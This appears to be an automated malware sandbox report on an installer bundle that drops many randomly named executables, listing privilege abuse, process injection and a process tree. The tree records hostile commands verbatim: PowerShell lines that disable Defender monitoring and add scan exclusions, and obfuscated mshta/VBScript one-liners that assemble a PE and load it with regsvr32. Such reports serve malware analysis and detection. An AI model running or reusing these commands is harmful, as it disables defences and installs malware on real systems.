PowerControl_Svc.exe 8180 PowerControl_Svc.exe 8180 PowerControl_Svc.exe 8180 PowerControl_Svc.exe 8180 PowerControl_Svc.exe 8180 PowerControl_Svc.exe 7068 mshta.exe 4208 vwcireu 4208 vwcireu 7780 MicrosoftEdgeCP.exe 7780 MicrosoftEdgeCP.exe 7992 vwcireu 7056 MicrosoftEdgeCP.exe 7056 MicrosoftEdgeCP.exe 7056 MicrosoftEdgeCP.exe 7056 MicrosoftEdgeCP.exe 6056 MicrosoftEdgeCP.exe 6056 MicrosoftEdgeCP.exe 5328 vwcireu 928 vwcireu 5504 5504 8848 MicrosoftEdgeCP.exe 8848 MicrosoftEdgeCP.exe 2436 vwcireu 8848 MicrosoftEdgeCP.exe 8848 MicrosoftEdgeCP.exe 1832 MicrosoftEdgeCP.exe 1832 MicrosoftEdgeCP.exe 3764 vwcireu 1832 MicrosoftEdgeCP.exe 1832 MicrosoftEdgeCP.exe 4976 MicrosoftEdgeCP.exe 4976 MicrosoftEdgeCP.exe -
Suspicious behavior: SetClipboardViewer 1 IoCs
Processes:
8445622.exepid process 5948 8445622.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
Mon17870faab0.exeMon178d8e5d06822.exeMon17332e41e6b.exepowershell.exepowershell.exeWerFault.exeDownFlSetup110.exechrome.exechrome2.exeExplorer.EXEWerFault.exedescription pid process Token: SeCreateTokenPrivilege 4200 Mon17870faab0.exe Token: SeAssignPrimaryTokenPrivilege 4200 Mon17870faab0.exe Token: SeLockMemoryPrivilege 4200 Mon17870faab0.exe Token: SeIncreaseQuotaPrivilege 4200 Mon17870faab0.exe Token: SeMachineAccountPrivilege 4200 Mon17870faab0.exe Token: SeTcbPrivilege 4200 Mon17870faab0.exe Token: SeSecurityPrivilege 4200 Mon17870faab0.exe Token: SeTakeOwnershipPrivilege 4200 Mon17870faab0.exe Token: SeLoadDriverPrivilege 4200 Mon17870faab0.exe Token: SeSystemProfilePrivilege 4200 Mon17870faab0.exe Token: SeSystemtimePrivilege 4200 Mon17870faab0.exe Token: SeProfSingleProcessPrivilege 4200 Mon17870faab0.exe Token: SeIncBasePriorityPrivilege 4200 Mon17870faab0.exe Token: SeCreatePagefilePrivilege 4200 Mon17870faab0.exe Token: SeCreatePermanentPrivilege 4200 Mon17870faab0.exe Token: SeBackupPrivilege 4200 Mon17870faab0.exe Token: SeRestorePrivilege 4200 Mon17870faab0.exe Token: SeShutdownPrivilege 4200 Mon17870faab0.exe Token: SeDebugPrivilege 4200 Mon17870faab0.exe Token: SeAuditPrivilege 4200 Mon17870faab0.exe Token: SeSystemEnvironmentPrivilege 4200 Mon17870faab0.exe Token: SeChangeNotifyPrivilege 4200 Mon17870faab0.exe Token: SeRemoteShutdownPrivilege 4200 Mon17870faab0.exe Token: SeUndockPrivilege 4200 Mon17870faab0.exe Token: SeSyncAgentPrivilege 4200 Mon17870faab0.exe Token: SeEnableDelegationPrivilege 4200 Mon17870faab0.exe Token: SeManageVolumePrivilege 4200 Mon17870faab0.exe Token: SeImpersonatePrivilege 4200 Mon17870faab0.exe Token: SeCreateGlobalPrivilege 4200 Mon17870faab0.exe Token: 31 4200 Mon17870faab0.exe Token: 32 4200 Mon17870faab0.exe Token: 33 4200 Mon17870faab0.exe Token: 34 4200 Mon17870faab0.exe Token: 35 4200 Mon17870faab0.exe Token: SeDebugPrivilege 4324 Mon178d8e5d06822.exe Token: SeDebugPrivilege 3668 Mon17332e41e6b.exe Token: SeDebugPrivilege 2396 powershell.exe Token: SeDebugPrivilege 2456 powershell.exe Token: SeRestorePrivilege 3208 WerFault.exe Token: SeBackupPrivilege 3208 WerFault.exe Token: SeDebugPrivilege 1976 DownFlSetup110.exe Token: SeDebugPrivilege 2572 chrome.exe Token: SeDebugPrivilege 3208 WerFault.exe Token: SeDebugPrivilege 1148 chrome2.exe Token: SeShutdownPrivilege 2604 Explorer.EXE Token: SeCreatePagefilePrivilege 2604 Explorer.EXE Token: SeShutdownPrivilege 2604 Explorer.EXE Token: SeCreatePagefilePrivilege 2604 Explorer.EXE Token: SeShutdownPrivilege 2604 Explorer.EXE Token: SeCreatePagefilePrivilege 2604 Explorer.EXE Token: SeShutdownPrivilege 2604 Explorer.EXE Token: SeCreatePagefilePrivilege 2604 Explorer.EXE Token: SeShutdownPrivilege 2604 Explorer.EXE Token: SeCreatePagefilePrivilege 2604 Explorer.EXE Token: SeShutdownPrivilege 2604 Explorer.EXE Token: SeCreatePagefilePrivilege 2604 Explorer.EXE Token: SeShutdownPrivilege 2604 Explorer.EXE Token: SeCreatePagefilePrivilege 2604 Explorer.EXE Token: SeShutdownPrivilege 2604 Explorer.EXE Token: SeCreatePagefilePrivilege 2604 Explorer.EXE Token: SeShutdownPrivilege 2604 Explorer.EXE Token: SeCreatePagefilePrivilege 2604 Explorer.EXE Token: SeDebugPrivilege 3136 WerFault.exe Token: SeShutdownPrivilege 2604 Explorer.EXE -
Suspicious use of FindShellTrayWindow 64 IoCs
Processes:
Mon17bbf11fdb575d.tmpExplorer.EXECalculator.exesetting.exeinstaller.exevpn.tmppid process 3852 Mon17bbf11fdb575d.tmp 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 3520 Calculator.exe 2604 Explorer.EXE 2604 Explorer.EXE 8336 setting.exe 8420 installer.exe 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp 8628 vpn.tmp -
Suspicious use of SendNotifyMessage 10 IoCs
Processes:
Explorer.EXEpid process 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE -
Suspicious use of SetWindowsHookEx 62 IoCs
Processes:
Explorer.EXEMicrosoftEdge.execmd.execmd.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exePowerControl_Svc.exeMicrosoftEdge.exevwcireuMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exenGdxsk2KUUvWLa38jntBaA3f.execmd.execmd.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.execmd.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdge.exepid process 2604 Explorer.EXE 8596 MicrosoftEdge.exe 5240 cmd.exe 5508 cmd.exe 1304 MicrosoftEdge.exe 2212 MicrosoftEdgeCP.exe 2212 MicrosoftEdgeCP.exe 2500 MicrosoftEdge.exe 4736 MicrosoftEdgeCP.exe 4736 MicrosoftEdgeCP.exe 4684 MicrosoftEdge.exe 3180 MicrosoftEdgeCP.exe 3180 MicrosoftEdgeCP.exe 5524 MicrosoftEdge.exe 5152 MicrosoftEdgeCP.exe 5152 MicrosoftEdgeCP.exe 8096 MicrosoftEdge.exe 6428 MicrosoftEdgeCP.exe 6428 MicrosoftEdgeCP.exe 5332 8180 PowerControl_Svc.exe 8180 PowerControl_Svc.exe 228 MicrosoftEdge.exe 4208 vwcireu 4208 vwcireu 4792 MicrosoftEdge.exe 7780 MicrosoftEdgeCP.exe 7780 MicrosoftEdgeCP.exe 1984 MicrosoftEdge.exe 7056 MicrosoftEdgeCP.exe 7056 MicrosoftEdgeCP.exe 8224 MicrosoftEdge.exe 6056 MicrosoftEdgeCP.exe 6056 MicrosoftEdgeCP.exe 2328 MicrosoftEdgeCP.exe 5504 5504 6712 nGdxsk2KUUvWLa38jntBaA3f.exe 6880 cmd.exe 5716 cmd.exe 656 MicrosoftEdge.exe 8848 MicrosoftEdgeCP.exe 8848 MicrosoftEdgeCP.exe 7488 MicrosoftEdge.exe 1832 MicrosoftEdgeCP.exe 1832 MicrosoftEdgeCP.exe 5248 MicrosoftEdge.exe 4976 MicrosoftEdgeCP.exe 4976 MicrosoftEdgeCP.exe 5032 MicrosoftEdge.exe 5540 MicrosoftEdgeCP.exe 5540 MicrosoftEdgeCP.exe 1356 MicrosoftEdge.exe 5644 MicrosoftEdgeCP.exe 5644 MicrosoftEdgeCP.exe 8216 MicrosoftEdge.exe 6676 MicrosoftEdgeCP.exe 8048 cmd.exe 1192 MicrosoftEdge.exe 6464 MicrosoftEdgeCP.exe 6464 MicrosoftEdgeCP.exe 4048 MicrosoftEdge.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
setup_x86_x64_install.exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exedescription pid process target process PID 3844 wrote to memory of 4996 3844 setup_x86_x64_install.exe setup_installer.exe PID 3844 wrote to memory of 4996 3844 setup_x86_x64_install.exe setup_installer.exe PID 3844 wrote to memory of 4996 3844 setup_x86_x64_install.exe setup_installer.exe PID 4996 wrote to memory of 664 4996 setup_installer.exe setup_install.exe PID 4996 wrote to memory of 664 4996 setup_installer.exe setup_install.exe PID 4996 wrote to memory of 664 4996 setup_installer.exe setup_install.exe PID 664 wrote to memory of 1796 664 setup_install.exe cmd.exe PID 664 wrote to memory of 1796 664 setup_install.exe cmd.exe PID 664 wrote to memory of 1796 664 setup_install.exe cmd.exe PID 664 wrote to memory of 1820 664 setup_install.exe cmd.exe PID 664 wrote to memory of 1820 664 setup_install.exe cmd.exe PID 664 wrote to memory of 1820 664 setup_install.exe cmd.exe PID 664 wrote to memory of 2104 664 setup_install.exe cmd.exe PID 664 wrote to memory of 2104 664 setup_install.exe cmd.exe PID 664 wrote to memory of 2104 664 setup_install.exe cmd.exe PID 664 wrote to memory of 2308 664 setup_install.exe cmd.exe PID 664 wrote to memory of 2308 664 setup_install.exe cmd.exe PID 664 wrote to memory of 2308 664 setup_install.exe cmd.exe PID 1820 wrote to memory of 2396 1820 cmd.exe powershell.exe PID 1820 wrote to memory of 2396 1820 cmd.exe powershell.exe PID 1820 wrote to memory of 2396 1820 cmd.exe powershell.exe PID 1796 wrote to memory of 2456 1796 cmd.exe powershell.exe PID 1796 wrote to memory of 2456 1796 cmd.exe powershell.exe PID 1796 wrote to memory of 2456 1796 cmd.exe powershell.exe PID 664 wrote to memory of 2560 664 setup_install.exe cmd.exe PID 664 wrote to memory of 2560 664 setup_install.exe cmd.exe PID 664 wrote to memory of 2560 664 setup_install.exe cmd.exe PID 664 wrote to memory of 1960 664 setup_install.exe cmd.exe PID 664 wrote to memory of 1960 664 setup_install.exe cmd.exe PID 664 wrote to memory of 1960 664 setup_install.exe cmd.exe PID 664 wrote to memory of 2892 664 setup_install.exe cmd.exe PID 664 wrote to memory of 2892 664 setup_install.exe cmd.exe PID 664 wrote to memory of 2892 664 setup_install.exe cmd.exe PID 664 wrote to memory of 2588 664 setup_install.exe cmd.exe PID 664 wrote to memory of 2588 664 setup_install.exe cmd.exe PID 664 wrote to memory of 2588 664 setup_install.exe cmd.exe PID 664 wrote to memory of 3872 664 setup_install.exe cmd.exe PID 664 wrote to memory of 3872 664 setup_install.exe cmd.exe PID 664 wrote to memory of 3872 664 setup_install.exe cmd.exe PID 664 wrote to memory of 4032 664 setup_install.exe cmd.exe PID 664 wrote to memory of 4032 664 setup_install.exe cmd.exe PID 664 wrote to memory of 4032 664 setup_install.exe cmd.exe PID 2104 wrote to memory of 4200 2104 cmd.exe Mon17870faab0.exe PID 2104 wrote to memory of 4200 2104 cmd.exe Mon17870faab0.exe PID 2104 wrote to memory of 4200 2104 cmd.exe Mon17870faab0.exe PID 664 wrote to memory of 4736 664 setup_install.exe cmd.exe PID 664 wrote to memory of 4736 664 setup_install.exe cmd.exe PID 664 wrote to memory of 4736 664 setup_install.exe cmd.exe PID 2560 wrote to memory of 4940 2560 cmd.exe Mon175e6c8b40064b8c8.exe PID 2560 wrote to memory of 4940 2560 cmd.exe Mon175e6c8b40064b8c8.exe PID 2560 wrote to memory of 4940 2560 cmd.exe Mon175e6c8b40064b8c8.exe PID 2308 wrote to memory of 4624 2308 cmd.exe Mon178e7a516181.exe PID 2308 wrote to memory of 4624 2308 cmd.exe Mon178e7a516181.exe PID 2308 wrote to memory of 4624 2308 cmd.exe Mon178e7a516181.exe PID 664 wrote to memory of 4596 664 setup_install.exe cmd.exe PID 664 wrote to memory of 4596 664 setup_install.exe cmd.exe PID 664 wrote to memory of 4596 664 setup_install.exe cmd.exe PID 2892 wrote to memory of 1964 2892 cmd.exe Mon173a360b525.exe PID 2892 wrote to memory of 1964 2892 cmd.exe Mon173a360b525.exe PID 2892 wrote to memory of 1964 2892 cmd.exe Mon173a360b525.exe PID 1960 wrote to memory of 4252 1960 cmd.exe Mon17bffc2992eb3d.exe PID 1960 wrote to memory of 4252 1960 cmd.exe Mon17bffc2992eb3d.exe PID 1960 wrote to memory of 4252 1960 cmd.exe Mon17bffc2992eb3d.exe PID 664 wrote to memory of 2364 664 setup_install.exe cmd.exe
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵
- Suspicious use of SetThreadContext
PID:1888 -
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:5528
-
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
PID:5060 -
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:6196
-
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:2604 -
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3844 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4996 -
C:\Users\Admin\AppData\Local\Temp\7zS483D7956\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS483D7956\setup_install.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:664 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable5⤵
- Suspicious use of WriteProcessMemory
PID:1796 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2456
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious use of WriteProcessMemory
PID:1820 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2396
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon17870faab0.exe5⤵
- Suspicious use of WriteProcessMemory
PID:2104 -
C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon17870faab0.exeMon17870faab0.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4200 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe7⤵PID:3184
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe8⤵
- Kills process with taskkill
PID:2332
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon175e6c8b40064b8c8.exe5⤵
- Suspicious use of WriteProcessMemory
PID:2560 -
C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon175e6c8b40064b8c8.exeMon175e6c8b40064b8c8.exe6⤵
- Executes dropped EXE
PID:4940 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBscRipT: ClOSe( crEatEobJECt ("wSCRIPT.SHEll" ).rUn ( "CMd.eXE /R tYpE ""C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon175e6c8b40064b8c8.exe"" > 6jZhRtW.EXe &&start 6jZHRTW.EXe /p5WmgTwUrhSt5mLQDQ6uTWAP3bAjNt & if """" == """" for %U In ( ""C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon175e6c8b40064b8c8.exe"" ) do taskkill -Im ""%~NxU"" -f " , 0 , tRUE ))7⤵PID:2960
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R tYpE "C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon175e6c8b40064b8c8.exe" > 6jZhRtW.EXe &&start 6jZHRTW.EXe /p5WmgTwUrhSt5mLQDQ6uTWAP3bAjNt & if ""== "" for %U In ( "C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon175e6c8b40064b8c8.exe") do taskkill -Im "%~NxU" -f8⤵PID:3672
-
C:\Users\Admin\AppData\Local\Temp\6jZhRtW.EXe6jZHRTW.EXe /p5WmgTwUrhSt5mLQDQ6uTWAP3bAjNt9⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:2536 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBscRipT: ClOSe( crEatEobJECt ("wSCRIPT.SHEll" ).rUn ( "CMd.eXE /R tYpE ""C:\Users\Admin\AppData\Local\Temp\6jZhRtW.EXe"" > 6jZhRtW.EXe &&start 6jZHRTW.EXe /p5WmgTwUrhSt5mLQDQ6uTWAP3bAjNt & if ""/p5WmgTwUrhSt5mLQDQ6uTWAP3bAjNt "" == """" for %U In ( ""C:\Users\Admin\AppData\Local\Temp\6jZhRtW.EXe"" ) do taskkill -Im ""%~NxU"" -f " , 0 , tRUE ))10⤵
- Checks whether UAC is enabled
PID:2356 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R tYpE "C:\Users\Admin\AppData\Local\Temp\6jZhRtW.EXe" > 6jZhRtW.EXe &&start 6jZHRTW.EXe /p5WmgTwUrhSt5mLQDQ6uTWAP3bAjNt & if "/p5WmgTwUrhSt5mLQDQ6uTWAP3bAjNt "== "" for %U In ( "C:\Users\Admin\AppData\Local\Temp\6jZhRtW.EXe") do taskkill -Im "%~NxU" -f11⤵PID:1548
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBsCrIpT: cLOse (CrEATEOBJECT ( "wScrIpT.ShelL"). RUn( "cMd /Q /R eCHO | SET /P = ""MZ"" > 1oZVDA.JaC & CoPy /y /b 1OZVDA.jAC+ GjuW~.A +HPIuT6.AM +bDJeH5.9 yLIh.BIn & Del GJuW~.A HPIUT6.AM BDJEH5.9 1oZVDA.jaC& stArt regsvr32.exe /S YLIH.bIN " , 0 ,TRuE) )10⤵
- Checks whether UAC is enabled
PID:5528 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /R eCHO | SET /P = "MZ" > 1oZVDA.JaC &CoPy /y /b 1OZVDA.jAC+ GjuW~.A +HPIuT6.AM +bDJeH5.9 yLIh.BIn & Del GJuW~.A HPIUT6.AM BDJEH5.9 1oZVDA.jaC& stArt regsvr32.exe /S YLIH.bIN11⤵PID:5788
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" eCHO "12⤵PID:5460
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>1oZVDA.JaC"12⤵PID:5772
-
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe /S YLIH.bIN12⤵
- Loads dropped DLL
PID:6572
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -Im "Mon175e6c8b40064b8c8.exe" -f9⤵
- Kills process with taskkill
PID:4980
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon178e7a516181.exe5⤵
- Suspicious use of WriteProcessMemory
PID:2308 -
C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon178e7a516181.exeMon178e7a516181.exe6⤵
- Executes dropped EXE
- Checks computer location settings
PID:4624 -
C:\Users\Admin\Pictures\Adobe Films\zeddqjRK5Nt0tZ3qBoLBiShF.exe"C:\Users\Admin\Pictures\Adobe Films\zeddqjRK5Nt0tZ3qBoLBiShF.exe"7⤵
- Executes dropped EXE
PID:6588
-
-
C:\Users\Admin\Pictures\Adobe Films\bAYBBOjPqDL83I0RlpnTqyWX.exe"C:\Users\Admin\Pictures\Adobe Films\bAYBBOjPqDL83I0RlpnTqyWX.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6668
-
-
C:\Users\Admin\Pictures\Adobe Films\lv1WjFObOkFtmMFjcOs8Lr5b.exe"C:\Users\Admin\Pictures\Adobe Films\lv1WjFObOkFtmMFjcOs8Lr5b.exe"7⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5812
-
-
C:\Users\Admin\Pictures\Adobe Films\RETuVudjx66NFysfuAc3c7iE.exe"C:\Users\Admin\Pictures\Adobe Films\RETuVudjx66NFysfuAc3c7iE.exe"7⤵
- Checks whether UAC is enabled
PID:6876
-
-
C:\Users\Admin\Pictures\Adobe Films\mw5JU8TnGlolN_o9AZ8UV5JC.exe"C:\Users\Admin\Pictures\Adobe Films\mw5JU8TnGlolN_o9AZ8UV5JC.exe"7⤵
- Suspicious use of SetThreadContext
PID:5848 -
C:\Users\Admin\Pictures\Adobe Films\mw5JU8TnGlolN_o9AZ8UV5JC.exe"C:\Users\Admin\Pictures\Adobe Films\mw5JU8TnGlolN_o9AZ8UV5JC.exe"8⤵PID:4804
-
-
-
C:\Users\Admin\Pictures\Adobe Films\AnCdctsFOA4Jamj50y1LwMGL.exe"C:\Users\Admin\Pictures\Adobe Films\AnCdctsFOA4Jamj50y1LwMGL.exe"7⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:6856
-
-
C:\Users\Admin\Pictures\Adobe Films\RWNT0eZRumXl9Un3fyeMW15G.exe"C:\Users\Admin\Pictures\Adobe Films\RWNT0eZRumXl9Un3fyeMW15G.exe"7⤵
- Checks whether UAC is enabled
PID:5736
-
-
C:\Users\Admin\Pictures\Adobe Films\6mIwBv4d5JeWSVxI688N0Bp2.exe"C:\Users\Admin\Pictures\Adobe Films\6mIwBv4d5JeWSVxI688N0Bp2.exe"7⤵PID:6788
-
-
C:\Users\Admin\Pictures\Adobe Films\gMOP3J34EAsRJt9O9qulOT3m.exe"C:\Users\Admin\Pictures\Adobe Films\gMOP3J34EAsRJt9O9qulOT3m.exe"7⤵
- Executes dropped EXE
PID:6708
-
-
C:\Users\Admin\Pictures\Adobe Films\smSluB04E17McvhBkWW7TtMh.exe"C:\Users\Admin\Pictures\Adobe Films\smSluB04E17McvhBkWW7TtMh.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:6660 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"8⤵PID:6816
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6660 -s 4928⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:6316
-
-
-
C:\Users\Admin\Pictures\Adobe Films\HujnmdT0OqpYSA5IB_wqlBTC.exe"C:\Users\Admin\Pictures\Adobe Films\HujnmdT0OqpYSA5IB_wqlBTC.exe"7⤵PID:6404
-
C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"8⤵
- Checks whether UAC is enabled
- Drops file in Program Files directory
PID:4296
-
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"8⤵PID:2792
-
-
-
C:\Users\Admin\Pictures\Adobe Films\ZkJmaceo9l7ppAjEu9tjrYSa.exe"C:\Users\Admin\Pictures\Adobe Films\ZkJmaceo9l7ppAjEu9tjrYSa.exe"7⤵
- Executes dropped EXE
PID:3248 -
C:\Users\Admin\Documents\Rhz_9tBW6JMG__y4RAyBu9QD.exe"C:\Users\Admin\Documents\Rhz_9tBW6JMG__y4RAyBu9QD.exe"8⤵
- Checks computer location settings
PID:7140 -
C:\Users\Admin\Pictures\Adobe Films\pfAg8F8VPu7IfYcNYd834iax.exe"C:\Users\Admin\Pictures\Adobe Films\pfAg8F8VPu7IfYcNYd834iax.exe"9⤵PID:3124
-
-
C:\Users\Admin\Pictures\Adobe Films\e3By4Ow3jW8t8NFiEpJAad1e.exe"C:\Users\Admin\Pictures\Adobe Films\e3By4Ow3jW8t8NFiEpJAad1e.exe"9⤵PID:4408
-
-
C:\Users\Admin\Pictures\Adobe Films\fP3IjqkqHEOesrhdRyzNdJJr.exe"C:\Users\Admin\Pictures\Adobe Films\fP3IjqkqHEOesrhdRyzNdJJr.exe"9⤵PID:6908
-
-
C:\Users\Admin\Pictures\Adobe Films\HTtyKFdmJz3J4SkY0tPaGH2B.exe"C:\Users\Admin\Pictures\Adobe Films\HTtyKFdmJz3J4SkY0tPaGH2B.exe"9⤵PID:6560
-
-
C:\Users\Admin\Pictures\Adobe Films\EqT5LDve9aAE3qN61WAoAlB0.exe"C:\Users\Admin\Pictures\Adobe Films\EqT5LDve9aAE3qN61WAoAlB0.exe"9⤵PID:4812
-
-
C:\Users\Admin\Pictures\Adobe Films\hEPbeAf5cdzCvC40FkJ2kgey.exe"C:\Users\Admin\Pictures\Adobe Films\hEPbeAf5cdzCvC40FkJ2kgey.exe"9⤵
- Checks whether UAC is enabled
PID:7320 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\hEPbeAf5cdzCvC40FkJ2kgey.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\hEPbeAf5cdzCvC40FkJ2kgey.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )10⤵
- Checks whether UAC is enabled
PID:7956 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\hEPbeAf5cdzCvC40FkJ2kgey.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\hEPbeAf5cdzCvC40FkJ2kgey.exe" ) do taskkill -f -iM "%~NxM"11⤵PID:7376
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi12⤵PID:8060
-
